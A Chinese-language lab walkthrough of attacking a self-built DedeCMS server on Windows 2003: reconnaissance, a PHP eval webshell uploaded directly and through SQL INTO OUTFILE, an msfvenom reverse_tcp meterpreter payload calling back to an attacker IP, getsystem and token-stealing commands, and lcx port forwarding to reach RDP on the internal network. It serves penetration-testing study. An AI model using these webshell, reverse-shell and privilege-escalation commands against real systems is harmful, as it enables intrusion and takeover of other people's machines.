逻辑搭建
一.环境部署及搭建
一.搭建Dedecms管理系统
二.搭建内网测试环境
1.将测试环境部署在win2003中,并且我自己搭建了一个可以访问外网的网卡还有一个内网的网卡 2.将win2003克隆主机与win2003搭建在一个LAN区段的内网中,并且克隆的主机不能访问外网 搭建过程如下图
这是克隆主机的内网网卡,并使用桥接
这是win2003的内网网卡搭建
二.渗透测试获取webshell
#解释说明: 1.拿到一个网站先进行信息收集,拿到服务器的操作系统以及中间件版本及网站代码,本过程完全进行黑盒测试 2.通过拿到的网站信息如果是登录页面,先进行弱密码爆破。通过十大漏洞拿自己最擅长的方法尽可能的绕过防火墙拿去对方服务器的webshell 3.当拿到对方服务器可以使用菜刀或者冰蝎、御剑上传木马拿去webshell 4.通过webshell配合kali进行系统提权为管理员用户 5.当控制一台服务器主机就可以尝试进行内网横向渗透
一.信息收集
web漏洞扫描工具:appscan、awvs(Acunetix)、Netsparker. 系统漏洞扫描工具:nessus 信息收集: 域名:fofa、谷歌、百度、零零信安等搜索引擎、DNS历史记录、DNS备案号查询、https证书 敏感信息:谷歌搜索,社工库检索、威胁情报、天眼查、零零信安、7kb、破壳、dirsearch IP地址:有CDN通过fofa标签找到真实ip、文件的hash值、网站证书、dns历史记录 网站指纹:wappalyzer插件、御剑web指纹识别、在线平台 端口:nmap、masscan、fscan、goby 目录扫描:7kb、破壳、御剑 旁站信息:fofa、masscan、k8、goby、fscan
一.AWVS扫描
通过扫描发现此站点是通过php所写的,并且中间件是阿帕奇
二.破壳扫描
三.facan
二.外网打点
#如何通过一个网站拿去webshell: 文件上传漏洞,后台编辑模板,sql 注入写文件,命令执行,代码执行, 一些已经爆 出的 cms 漏洞,比如 dedecms 后台可以直接建立脚本文件,wordpress 上传插件包含脚本 文件 zip 压缩包等
一.登录进后台页面探测文件上传点
发现文件式管理器存在文件上传
二.上传php一句话
经过渗透后查看服务器发现文件上传成功
访问test.php
使用sql注入进行上传
Select '<?php eval($_POST[chopper]);?>' into outfile 'c:/phpstudy/www/eval.php';
使用webshell生成工具
三.使用菜刀连接
连接成功菜刀
中国蚁剑
哥斯拉
四.使用MSF提权
通过MSF生成一个木马文件通过菜刀上传到目标服务器 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.21 lport=4444 -f exe -o /tmp/hack.exe
五.菜刀切换进入终端目录
六.开启监听
七.使用getsystem进行提权
如上返回则说明Meterpreter会话自动提权成功。 这个时候,如果我们此目标机属于某个域环境内,并且有域管理员运行的进程,我们就可以从一个指定的进程PID中窃取一个域管理员组令牌,做一些有意思的事(如:添加一个域账户,并把域账户添加到域管理员组中)。 在Meterpreter会话执行ps命令查看目标机当前进程: 假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程)
meterpreter > use incognito meterpreter > list_tokens -u meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" meterpreter > ps #查看目标机当前进程 meterpreter > steal_token PID meterpreter > migrate PID
八.使用ps命令查看进程
九.使用steal_token_4080窃取该用户的进程令牌
十.直接进入终端
三.内网横向渗透
横向渗透的方法很多,这里我用最简单的方式进行获取内网主机远程连接
一.将LCK上传到菜刀
#重点: Webshell上执行:lcx.exe -slave 192.168.21.90 2222 127.0.0.1 3389 (将本机3389端口流量转发到公网ip的2222端口上去) 自己的电脑里面执行:lcx.exe -listen 2222 4444 (监听本地的2222端口将流量转发到4444 )
二.上传3389到对方服务器
三.通过本机自带的远程连接工具连接内网
成功连接到内网
补充:
如果是红队可以用CS配合MSF进行内网渗透
主要学习思路过程